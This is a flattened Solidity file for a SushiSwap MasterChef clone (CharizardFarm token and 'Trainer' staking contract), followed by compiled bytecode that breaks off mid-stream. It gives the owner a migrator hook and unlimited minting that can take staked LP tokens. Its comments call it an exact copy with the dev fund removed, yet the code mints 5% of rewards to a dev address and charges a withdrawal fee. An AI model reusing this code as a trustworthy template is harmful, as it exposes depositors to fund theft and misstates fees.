newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.6.5; // CharizardToken with Governance. contract CharizardFarm is ERC20("Charizard.farm", "CRZF"), Ownable { // charizard is an exact copy of SUSHI using SafeMath for uint256; function transfer(address recipient, uint256 amount) public virtual override returns (bool) { return super.transfer(recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { return super.transferFrom(sender, recipient, amount); } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (Trainer). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "CRZF::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "CRZF::delegateBySig: invalid nonce"); require(now <= expiry, "CRZF::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "CRZF::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CRZFs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "CRZF::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts/Trainer.sol pragma solidity ^0.6.5; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to CharizardSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // CharizardSwap must mint EXACTLY the same amount of CharizardSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // Trainer is an exact copy of SushiSwap // we have commented an few lines to remove the dev fund // the rest is exactly the same // Trainer is the master of Charizard. He can make Charizard and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once CRZF is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract Trainer is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of CRZFs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accCharizardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accCharizardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. CRZFs to distribute per block. uint256 lastRewardBlock; // Last block number that CRZFs distribution occurs. uint256 accCharizardPerShare; // Accumulated CRZFs per share, times 1e12. See below. bool taxable; // Accumulated CRZFs per share, times 1e12. See below. } // The CRZF TOKEN! CharizardFarm public charizard; address private devaddr; // Block number when bonus CRZF period ends. uint256 public bonusEndBlock; // CRZF tokens created per block. uint256 public charizardPerBlock; // Bonus muliplier for early charizard makers. uint256 public constant BONUS_MULTIPLIER = 1; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when CRZF mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( CharizardFarm _charizard, address _devaddr, uint256 _charizardPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { charizard = _charizard; devaddr = _devaddr; charizardPerBlock = _charizardPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = _startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCharizardPerShare: 0, taxable: _taxable })); } // Update the given pool's CRZF allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; poolInfo[_pid].taxable = _taxable; poolInfo[_pid].lastRewardBlock = _startBlock; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending CRZFs on frontend. function pendingCharizard(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accCharizardPerShare = pool.accCharizardPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 charizardReward = multiplier.mul(charizardPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accCharizardPerShare = accCharizardPerShare.add(charizardReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCharizardPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 charizardReward = multiplier.mul(charizardPerBlock).mul(pool.allocPoint).div(totalAllocPoint); // 5% of produced token to be used in expanding token ecosystem. It will be burned only. charizard.mint(address(devaddr), charizardReward.mul(5).div(100)); charizard.mint(address(this), charizardReward); pool.accCharizardPerShare = pool.accCharizardPerShare.add(charizardReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to Trainer for CRZF allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCharizardPerShare).div(1e12).sub(user.rewardDebt); safeCharizardTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accCharizardPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from Trainer. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: amount is exceeds yours"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accCharizardPerShare).div(1e12).sub(user.rewardDebt); safeCharizardTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accCharizardPerShare).div(1e12); if (pool.taxable) { pool.lpToken.safeTransfer(address(devaddr), _amount.mul(25).div(10000)); emit Withdraw(devaddr, _pid, _amount.mul(25).div(10000)); pool.lpToken.safeTransfer(address(msg.sender), _amount.sub(_amount.mul(25).div(10000))); emit Withdraw(msg.sender, _pid, _amount.sub(_amount.mul(25).div(10000))); } else { pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe charizard transfer function, just in case if rounding error causes pool to not have enough CRZFs. function safeCharizardTransfer(address _to, uint256 _amount) internal { uint256 charizardBal = charizard.balanceOf(address(this)); if (_amount > charizardBal) { charizard.transfer(_to, charizardBal); } else { charizard.transfer(_to, _amount); } } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806351eb05a6116100de5780638da5cb5b116100975780639e0af234116100715780639e0af234146103fb578063a095a52f14610418578063e2bbb15814610420578063f2fde38b1461044357610173565b80638da5cb5b1461038b5780638dbb1e3a1461039357806393f1a40b146103b657610173565b806351eb05a6146103315780635312ea8e1461034e578063630b5ba11461036b578063715018a6146103735780637cd07e471461037b5780638aa285501461038357610173565b806340573cac1161013057806340573cac146102425780634299ecaf1461026e578063441a3e70146102b0578063454b0608146102d357806348cd4cb1146102f05780634bd01087146102f857610173565b8063081e3eda1461017857806311b684e6146101925780631526fe27146101b657806317caf6f11461020a5780631aed65531461021257806323cf31181461021a575b600080fd5b610180610469565b60408051918252519081900360200190f35b61019a61046f565b604080516001600160a01b039092168252519081900360200190f35b6101d3600480360360208110156101cc57600080fd5b503561047e565b604080516001600160a01b039096168652602086019490945284840192909252606084015215156080830152519081900360a00190f35b6101806104c9565b6101806104cf565b6102406004803603602081101561023057600080fd5b50356001600160a01b03166104d5565b005b6101806004803603604081101561025857600080fd5b50803590602001356001600160a01b031661054f565b610240600480360360a081101561028457600080fd5b508035906001600160a01b036020820135169060408101351515906060810135151590608001356106df565b610240600480360360408110156102c657600080fd5b5080359060200135610888565b610240600480360360208110156102e957600080fd5b5035610b05565b610180610d6c565b610240600480360360a081101561030e57600080fd5b508035906020810135906040810135151590606081013515159060800135610d72565b6102406004803603602081101561034757600080fd5b5035610ea4565b6102406004803603602081101561036457600080fd5b50356110df565b610240611180565b6102406111a3565b61019a611245565b610180611254565b61019a611259565b610180600480360360408110156103a957600080fd5b5080359060200135611268565b6103e2600480360360408110156103cc57600080fd5b50803590602001356001600160a01b03166112da565b6040805192835260208301919091528051918290030190f35b6102406004803603602081101561041157600080fd5b50356112fe565b61018061135b565b6102406004803603604081101561043657600080fd5b5080359060200135611361565b6102406004803603602081101561045957600080fd5b50356001600160a01b0316611478565b60065490565b6001546001600160a01b031681565b6006818154811061048b57fe5b6000918252602090912060059091020180546001820154600283015460038401546004909401546001600160a01b0390931694509092909160ff1685565b60085481565b60035481565b6104dd611570565b6000546001600160a01b0390811691161461052d576040805162461bcd60e51b81526020600482018190526024820152600080516020611db7833981519152604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806006848154811061055f57fe5b600091825260208083208784526007825260408085206001600160a01b0389811687529084528186206005959095029092016003810154815483516370a0823160e01b815230600482015293519298509596909590949316926370a082319260248082019391829003018186803b1580156105d957600080fd5b505afa1580156105ed573d6000803e3d6000fd5b505050506040513d602081101561060357600080fd5b505160028501549091504311801561061a57508015155b1561069e57600061062f856002015443611268565b9050600061066e60085461066288600101546106566004548761157490919063ffffffff16565b9063ffffffff61157416565b9063ffffffff6115d416565b905061069961068c846106628464e8d4a5100063ffffffff61157416565b859063ffffffff61161616565b935050505b6106d283600101546106c664e8d4a5100061066286886000015461157490919063ffffffff16565b9063ffffffff61167016565b9450505050505b92915050565b6106e7611570565b6000546001600160a01b03908116911614610737576040805162461bcd60e51b81526020600482018190526024820152600080516020611db7833981519152604482015290519081900360640190fd5b821561074557610745611180565b600854819061075a908763ffffffff61161616565b6008556040805160a0810182526001600160a01b039687168152602081019788529081019182526000606082018181529415156080830190815260068054600181018255925291517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f600590920291820180546001600160a01b031916919098161790965595517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40860155517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d4185015550517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d428301555090517ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d43909101805460ff1916911515919091179055565b60006006838154811061089757fe5b6000918252602080832086845260078252604080852033865290925292208054600590920290920192508311156108ff5760405162461bcd60e51b8152600401808060200182810382526021815260200180611dd76021913960400191505060405180910390fd5b61090884610ea4565b600061093682600101546106c664e8d4a510006106628760030154876000015461157490919063ffffffff16565b905061094233826116b2565b8154610954908563ffffffff61167016565b80835560038401546109779164e8d4a5100091610662919063ffffffff61157416565b6001830155600483015460ff1615610aaa576002546109c8906001600160a01b03166109b061271061066288601963ffffffff61157416565b85546001600160a01b0316919063ffffffff61184016565b60025485906001600160a01b03167ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568610a0e61271061066289601963ffffffff61157416565b60408051918252519081900360200190a3610a4a336109b0610a3d61271061066289601963ffffffff61157416565b879063ffffffff61167016565b84337ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568610a94610a876127106106628a601963ffffffff61157416565b889063ffffffff61167016565b60408051918252519081900360200190a3610afe565b8254610ac6906001600160a01b0316338663ffffffff61184016565b604080518581529051869133917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689181900360200190a35b5050505050565b6005546001600160a01b0316610b59576040805162461bcd60e51b815260206004820152601460248201527336b4b3b930ba329d1037379036b4b3b930ba37b960611b604482015290519081900360640190fd5b600060068281548110610b6857fe5b6000918252602080832060059092029091018054604080516370a0823160e01b815230600482015290519295506001600160a01b03909116939284926370a08231926024808201939291829003018186803b158015610bc657600080fd5b505afa158015610bda573d6000803e3d6000fd5b505050506040513d6020811015610bf057600080fd5b5051600554909150610c15906001600160a01b0384811691168363ffffffff61189216565b6005546040805163ce5494bb60e01b81526001600160a01b0385811660048301529151600093929092169163ce5494bb9160248082019260209290919082900301818787803b158015610c6757600080fd5b505af1158015610c7b573d6000803e3d6000fd5b505050506040513d6020811015610c9157600080fd5b5051604080516370a0823160e01b815230600482015290519192506001600160a01b038316916370a0823191602480820192602092909190829003018186803b158015610cdd57600080fd5b505afa158015610cf1573d6000803e3d6000fd5b505050506040513d6020811015610d0757600080fd5b50518214610d4b576040805162461bcd60e51b815260206004820152600c60248201526b1b5a59dc985d194e8818985960a21b604482015290519081900360640190fd5b83546001600160a01b0319166001600160a01b039190911617909255505050565b60095481565b610d7a611570565b6000546001600160a01b03908116911614610dca576040805162461bcd60e51b81526020600482018190526024820152600080516020611db7833981519152604482015290519081900360640190fd5b8215610dd857610dd8611180565b610e1b84610e0f60068881548110610dec57fe5b90600052602060002090600502016001015460085461167090919063ffffffff16565b9063ffffffff61161616565b6008819055508360068681548110610e2f57fe5b9060005260206000209060050201600101819055508160068681548110610e5257fe5b906000526020600020906005020160040160006101000a81548160ff0219169083151502179055508060068681548110610e8857fe5b9060005260206000209060050201600201819055505050505050565b600060068281548110610eb357fe5b9060005260206000209060050201905080600201544311610ed457506110dc565b8054604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610f1e57600080fd5b505afa158015610f32573d6000803e3d6000fd5b505050506040513d6020811015610f4857600080fd5b5051905080610f5e5750436002909101556110dc565b6000610f6e836002015443611268565b90506000610f9560085461066286600101546106566004548761157490919063ffffffff16565b6001546002549192506001600160a01b03908116916340c10f199116610fc7606461066286600563ffffffff61157416565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561101657600080fd5b505af115801561102a573d6000803e3d6000fd5b5050600154604080516340c10f1960e01b81523060048201526024810186905290516001600160a01b0390921693506340c10f19925060448082019260009290919082900301818387803b15801561108157600080fd5b505af1158015611095573d6000803e3d6000fd5b505050506110c96110b88461066264e8d4a510008561157490919063ffffffff16565b60038601549063ffffffff61161616565b6003850155505043600290920191909155505b50565b6000600682815481106110ee57fe5b60009182526020808320858452600782526040808520338087529352909320805460059093029093018054909450611139926001600160a01b0391909116919063ffffffff61184016565b80546040805191825251849133917fbb757047c2b5f3974fe26b7c10f732e7bce710b0952a71082702781e62ae05959181900360200190a360008082556001909101555050565b60065460005b8181101561119f5761119781610ea4565b600101611186565b5050565b6111ab611570565b6000546001600160a01b039081169116146111fb576040805162461bcd60e51b81526020600482018190526024820152600080516020611db7833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6005546001600160a01b031681565b600181565b6000546001600160a01b031690565b6000600354821161128f576112886001610656848663ffffffff61167016565b90506106d9565b60035483106112a857611288828463ffffffff61167016565b6112886112c06003548461167090919063ffffffff16565b610e0f60016106568760035461167090919063ffffffff16565b6007602090815260009283526040808420909152908252